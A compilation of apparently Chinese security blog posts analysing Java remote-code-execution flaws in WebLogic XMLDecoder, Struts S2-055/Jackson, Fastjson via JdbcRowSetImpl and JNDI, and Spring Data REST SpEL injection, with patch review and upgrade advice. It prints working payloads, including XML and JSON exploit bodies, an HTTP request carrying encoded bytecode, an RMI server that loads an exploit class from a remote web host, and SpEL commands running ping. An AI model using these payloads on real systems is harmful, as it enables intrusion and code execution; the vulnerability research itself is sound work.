简单来说就是在解析xml的过程中，如果Element字段值为Object就抛出异常，这简直太脑残了，所以马上就有了CVE-2017-10271。我前段时间分析Oracle Weblogic十月份的补丁的时候看到WorkContextXmlInputAdapter 相关代码时只关注了这块dos的漏洞，没看到10271添加的对new，method，void的去除，还想当然的以为自己找到0day了呢。因为可以通过其他方式绕过，比如典型的就是将object改为void，这是挖矿的人采用的poc，我也想到了，当然也还可以通过new关键字来创建反序列化执行的poc，下面简单示例一下通过new关键字来执行命令：

1
2
3
4
5

<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string><method name="start" />
    </new>
</java>

至于为什么XMLDecoder在解析的过程中能执行代码呢，大家可以以如下测试用例进行测试：

1
2
3
4
5
6
7
8
9
10

<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <void class="com.sun.rowset.JdbcRowSetImpl">
    <void property="dataSourceName">
        <string>rmi://localhost:1099/Exploit</string>
    </void>
    <void property="autoCommit">
        <boolean>true</boolean>
    </void>
    </void>
</java>

是不是觉得变种太多，写法太灵活了，比XStream远程执行代码的要求还低。根据如上poc首先生成JdbcRowSetImpl的实例，接着调用该实例的set方法来初始化该实例的属性，当调用完setAutoCommit接口的时候就会根据dataSourceName的值去远程加载一个类初始化。

针对上面的PoC，官方放出了10271的补丁，补丁如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。如下的测试用例就不可执行：

1
2
3
4
5

<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string><method name="start" />
    </new>
</java>

2 动态调试

为了更好的理解这个漏洞，我们通过本地的weblogic动态调试一番，PoC还是前面提到的，具体的调用栈如下：

调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

public NextAction processRequest(Packet var1) {
   this.isUseOldFormat = false;
   if(var1.getMessage() != null) {
      HeaderList var2 = var1.getMessage().getHeaders();
      Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
      if(var3 != null) {
         this.readHeaderOld(var3);
         this.isUseOldFormat = true;
      }
      Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
      if(var4 != null) {
         this.readHeader(var4);
      }
   }
protected void readHeaderOld(Header var1) {
   try {
      XMLStreamReader var2 = var1.readHeader();
      var2.nextTag();
      var2.nextTag();
      XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
      XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
      var3.bridge(var2, var5);
      var5.close();
      WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
      this.receive(var6);
   } catch (XMLStreamException var7) {
      throw new WebServiceException(var7);
   } catch (IOException var8) {
      throw new WebServiceException(var8);
   }
}

在上述代码中ByteArrayOutputStream var4会被填充为PoC实际执行部分代码即：

1
2
3
4
5
6

<java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
             。。。
          <void method="start"/></void>
        </java>

接着这部分xml会被传递到XMLDecoder的readObject方法中从而导致反序列化远程代码执行。

总之，尽快打上Weblogic 10月份的补丁。

1 综述

2017年12月1日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞，漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知，其实这里是远程代码执行。
相关链接如下：
https://cwiki.apache.org/confluence/display/WW/S2-055
影响版本：
Struts 2.5 - Struts 2.5.14
规避方案
立即升级到Struts 2.5.14.1或者升级com.fasterxml.jackson到2.9.2版本

2 技术分析

从官方的描述来看，这个就是Jackson的反序列化漏洞，由于Jackson在处理反序列的时候需要支持多态，所以在反序列的时候通过指定特定的类来达到实现多态的目的。这个特性默认是不开启的，所以在Struts2中影响也是有限。

2.1 Jackson多态类型绑定

为了让Jackson支持多态，Jackson官方提供了几种方式，下面介绍两种常用方式（https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization）
第一种：全局Default Typing机制，启用代码如下：

1
2

objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

这是一个全局开关，打开之后，在持久化存储数据时会存储准确的类型信息。

第二种：为相应的class添加@JsonTypeInfo注解

1
2
3

public ObjectMapper enableDefaultTyping(DefaultTyping dti) {
    return enableDefaultTyping(dti, JsonTypeInfo.As.WRAPPER_ARRAY);
}

通过阅读源码也能发现，全局Default Typing机制也是通过JsonTypeInfo来实现的。下面来看一个简单的示例：

1
2

@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
class Animal { }  在超类Animal上加上一段@JsonTypeInfo，所有Animal的子类反序列化都可以准确的对于子类型。

这段注解什么意思呢？JsonTypeInfo.Id.CLASS是指序列化或者反序列时都是全名称，如org.codehaus.jackson.sample.Animal,JsonTypeInfo.As.WRAPPER_ARRAY 意为使用数组表示，如

1
2
3
4
5
6

[
    "com.fasterxml.beans.EmployeeImpl",
    {
       ... // actual instance data without any metadata properties
    }
]

2.2 S2-055 环境搭建

了解了Jackson的相关多态的特性之后，为了触发反序列化漏洞，必须开启这个特性，再来看看Struts2的相关代码。由于Jackson不是Struts2 json格式的默认处理句柄，首先修改struts.xml,添加如下代码：

1
2

<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/>
    <constant name="struts.rest.handlerOverride.json" value="jackson"/>

这样Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理，再来分析下JacksonLibHandler的代码，如下所示：

1
2
3
4
5

public void toObject(Reader in, Object target) throws IOException {
        mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false);
        ObjectReader or = mapper.readerForUpdating(target);
        or.readValue(in);
    }

上述代码是处理json反序列的逻辑，很显然没有启用全局Default Typing机制，那么为了触发这个漏洞只能是通过第二种支持多态的方式来打开这个特性。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。为了分析这个漏洞，我们还是拿052的环境来做测试，也就是rest-show-case，环境搭建可以参考http://xxlegend.com/2017/09/06/S2-052%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%98%E6%96%B9%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD%E6%97%A0%E6%95%88%E9%AA%8C%E8%AF%81/，具体的修改如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

public class Order {
    public String id;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
    public Object clientName;
    public int amount;
    
    public Order() {}
    
    public Order(String id, Object clientName, int amount) {
        super();
        this.id = id;
        this.clientName = clientName;
        this.amount = amount;
    }
    public void setClientName(Object clientName) {
        this.clientName = clientName;
    }

修改部分主要在@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName; 一个在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。相应地修改setClientName方法的传入类型为Object。

2.3 PoC构造

Jackson已经暴露了很多种PoC在外，下面我们拿com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来做示例，具体的PoC如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

POST /orders HTTP/1.1
Host: 192.168.3.103:8080
Proxy-Connection: keep-alive
Content-Length: 2157
Cache-Control: max-age=0
Origin: http://192.168.3.103:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6
Cookie: csrftoken=LYokAxo4ABMl0wKhLhkdl1x5I0AQQDE8E3L1zcc3A1YVybHMEHkOWq01VqdnfJEm; JSESSIONID=7367044F7C24B8BE7CDE5444E28E2BF4
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],"transletName":"a.b","outputProperties":{}}]}

首先将ContentType设置为application/json，这样请求才会丢给Jackson处理。这里最核心的部分就是clientName字段了，必须和前面注解部分绑定，也就是这个字段必须有，很显然，这个漏洞不具有通用性，首先得有一个Object类型的字段，其次这个字段还必须用注解JsonTypeInfo修饰。这种情况应该少之又少。下面给个计算器的图吧。

背景

这篇文章主要是基于我在看雪2017开发者峰会的演讲而来，由于时间和听众对象的关系，在大会上主要精力都集中在反序列化的防御上。前面的Fastjson PoC的构造分析涉及得很少，另外我在5月份分享的Fastjson Poc构造与分析限制条件太多，所以写下这篇文章。

Fastjson 使用

Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法，号称Java语言中最快的JSON库。Fastjson接口简单易用，广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址：https://github.com/alibaba/fastjson。那我们看下如何使用？首先定义一个User.java,代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

public class User {
    private Long   id;
    private String name;
    public Long getId() {
        return id;
    }
    public void setId(Long id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

序列化的代码如下：

1
2
3
4
5
6

import com.alibaba.fastjson.JSON;
User guestUser = new User();
guestUser.setId(2L);
guestUser.setName("guest");
String jsonString = JSON.toJSONString(guestUser);
System.out.println(jsonString);

反序列化的代码示例：

1
2

String jsonString = "{\"name\":\"guest\",\"id\":12}";
User user = JSON.parseObject(jsonString, User.class);

上述代码的parseObject也可以直接用parse接口。

Fastjson安全特性

反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，@type可以指定反序列化任意类，调用其set，get，is方法。

上图则是Fastjson反序列框架图。JSON门面类，提供一些静态方法，如parse，parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig，主要保存一些相关配置信息。也引用了JSONLexerBase，这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关，将一些类加到黑名单中，后续我也给它报过bypass，fastjson也一并修复。

JNDI

JNDI即Java Naming and Directory Interface，翻译成中文就Java命令和目录接口，2016年的blackhat大会上web议题重点讲到，但是对于json这一块没有涉及。JNDI提供了很多实现方式，主要有RMI，LDAP，CORBA等。我们可以看一下它的架构图
!(2)[/images/JdbcRowSetImpl_2.png]，JNDI提供了一个统一的外部接口，底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象，即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的，可以将其参数指向我们控制的RMI服务，切换到我们控制的RMI/LDAP服务等等。

1
2
3
4
5

Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class
Reference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind(“Exploit", referenceWrapper);

这段代码主要讲到了在1099端口上创建一个RMI服务，RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务，即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试：

1
2
3
4
5

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。

PoC构造与分析

介绍的背景有点多，正式切入我们的正题，基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候，我也公布了Fastjson基于TemplateImpl的PoC的，但是限制还比较多，需要打开SupportNonPublic开关，这个场景是比较少见的，详细的分析见我的博客http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/，后续ricterz也作了一篇分析：https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up。
在看雪峰会上我提到了好几种PoC，下面我简单的给这些PoC做个分类：
1，基于TemplateImpl
2，基于JNDI Bean Property类型
3，基于JNDI Field类型

今天主讲基于JNDI Bean Property这个类型，这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter，getter方法触发，而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下，其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制，当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下：

1

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

由于这个PoC是基于JNDI，下面我们简单构造一下，首先是服务端的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://xxlegend.com/Exploit.class即可
        Reference reference = new Reference("Exloit",
                "Exploit","http://xxlegend.com/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下，这个Exploit.class是一个factory，通过Exploit.java编译得来，在JNDI执行的过程会被初始化。如下是Exploit.java的代码：

1
2
3
4
5
6
7
8
9
10
11
12

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

服务端构造好之后，下面来看java应用执行的代码，示例如下：

1
2
3
4
5
6
7
8
9
10
11
12

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
//                " \"autoCommit\":true}";
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

完整的代码已经放到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

PoC调用栈如下
![3](/images/JdbcRowSetImpl_3.png)
从这个调用栈就可以看出，在进入Gadget之前，首先是Java应用调用Fastjson的parseObject或者parse接口，进入JavaObjectDeserializer.deserialize方法，经过一系列判断之后发现是JavaBean，就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域，在这个过程中都是通过反射调用这些域的getter，setter或者is方法，这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的，首先是设置dataSourceName属性，这个是其父类BaseRowSet继承过来的。
```java
public void setDataSourceName(String name) throws SQLException {
    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }
    URL = null;
}

设置autoCommit属性:

1
2
3
4
5
6
7
8
9

public void setAutoCommit(boolean var1) throws SQLException {
    if(this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

这setAutoCommit里函数里会触发connect函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

private Connection connect() throws SQLException {
    if(this.conn != null) {
        return this.conn;
    } else if(this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
    }
}

这里面就调用InitialContext的lookup方法，而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库，所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson 1.2.24版本及以下烦请升级。

引用：
1，https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
2,http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

综合

这是我在看雪2017安全开发者峰会的议题《Java JSON反序列之殇》的内容，主要涉及Java JSON常用库GSON，Jackson，Fastjson的使用，安全特性，反序列化安全特性，Fastjson架构，Fastjson RCE的PoC，从TemplateImpl，JNDI Bean Property和JNDI Field做了分类整理分析，最后会涉及JAVA JSON反序列化防御和Java反序列化防御。详情请参考PPT内容。pdf无法显示，直接右键另存为即可或者从github上下载：https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/Java_JSON%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E6%AE%87_%E7%9C%8B%E9%9B%AA%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E8%80%85%E5%B3%B0%E4%BC%9A.pdf

1 综述

近日，Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞（CVE-2017-8046）。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器，通过构造好的JSON数据来执行任意Java代码。官方已经发布了新版本修复了该漏洞。

相关地址：
https://pivotal.io/security/cve-2017-8046

受影响的版本

• Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
• Spring Boot version < 2.0.0M4
• Spring Data release trains < Kay-RC3

不受影响的版本

• Spring Data REST 2.5.12, 2.6.7, 3.0RC3
• Spring Boot 2.0.0.M4
• Spring Data release train Kay-RC3

解决方案
官方已经发布了新版本修复了该漏洞，受影响的用户请尽快升级至最新版本来防护该漏洞。

参考链接：
https://projects.spring.io/spring-data-rest/
https://projects.spring.io/spring-boot/

2 补丁分析：

从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当，导致任意表达式执行从而导致的RCE。
首先来看下补丁，主要是evaluateValueFromTarget添加了一个校验方法verifyPath，对于不合规格的path直接报异常退出，主要是property.from(pathSource,type)实现，基本逻辑就是通过反射去验证该Field是否存在于bean中。

3 复现：

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples，找到spring-rest-data这个项目，直接用IDEA一步步导入进去即可，直接运行就能看到在本地的8080端口起了jetty服务。但是请注意这编译好的是最新版本，要引入漏洞，当然得老版本，修改pom.xml,添加plugin，具体如下：

1
2
3
4
5

<dependency>
   <groupId>org.springframework.data</groupId>
   <artifactId>spring-data-rest-webmvc</artifactId>
   <version>3.0.0.RC2</version>
</dependency>

从项目test目录找到相关请求形式，发送http://127.0.0.1:8080/api/cities/1即可看到回显表明服务正常启动。测试poc的效果如下：

这个poc的几个关键点在于：Content-Type: application/json-patch+json，path路径一定得用斜杠/隔开，至于为什么，后续会讲到。op支持的操作符很多，包括test，add，replace等都可以触发，op不同，path中添加的poc可以不一样，如op为test时就少了很多限制。如下是op为add时候的请求body。

1

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]

执行ping 192.168.3.106

3 分析：

漏洞的触发过程详细分析见文档：https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA，这里已经描述的比较清楚，在这里不再重述，这篇文档后续的分析主要是对poc的一些解读。
随便拿一个以前spring表达式注入的poc作为path的参数值，如poc：

1
2

[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})"
}]

这个请求的特别之处在于path字段值后边没有了斜杠。
会报如下错误：

1
2
3
4
5
6
7
8
9

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference'
    at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) 
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) 
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) 
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) 
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) 
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) 
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83)
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200)

说明path参数确实被污染，此处存在表达式注入漏洞，虽然已经进入表达式的执行流程，但是这里却报错退出。离RCE还差一步，查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue方法

1
2
3
4
5

@Override
public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {
   throw new SpelEvaluationException(getStartPosition(),
         SpelMessage.SETVALUE_NOT_SUPPORTED, getClass());
}

这个方法直接抛出异常，那看来poc离执行还有一段距离。直接调出setValue的实现，发现有五个地方重写了该方法。SpelNodeImpl的setValue也在其中，但是它是直接抛出异常的，算一个异常检查吧。查看他们的实现，只有CompoundExpression,Indexer,PropertyOrFieldReference真正存在执行表达式。

查看相关文档得知 CompoundExpression是复杂表达式，用.连接起来的都算。
Indexer一般是这么表示test[xxlegend]，那么可以把poc改成

1
2

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]"
}]

这也是可以运行的。再看调用栈也是符合我们刚才理解到
SpelExpression.setValue–》
CompoundExpression.setValue–》
CompoundExpression.getValueRef–》
Indexer.getValueRef–》
PropertyOrFieldReference.getValueInternal–》
PropertyOrFieldReference.readProperty

1
2
3
4
5
6
7
8
9
10
11
12
13
14

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public?
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
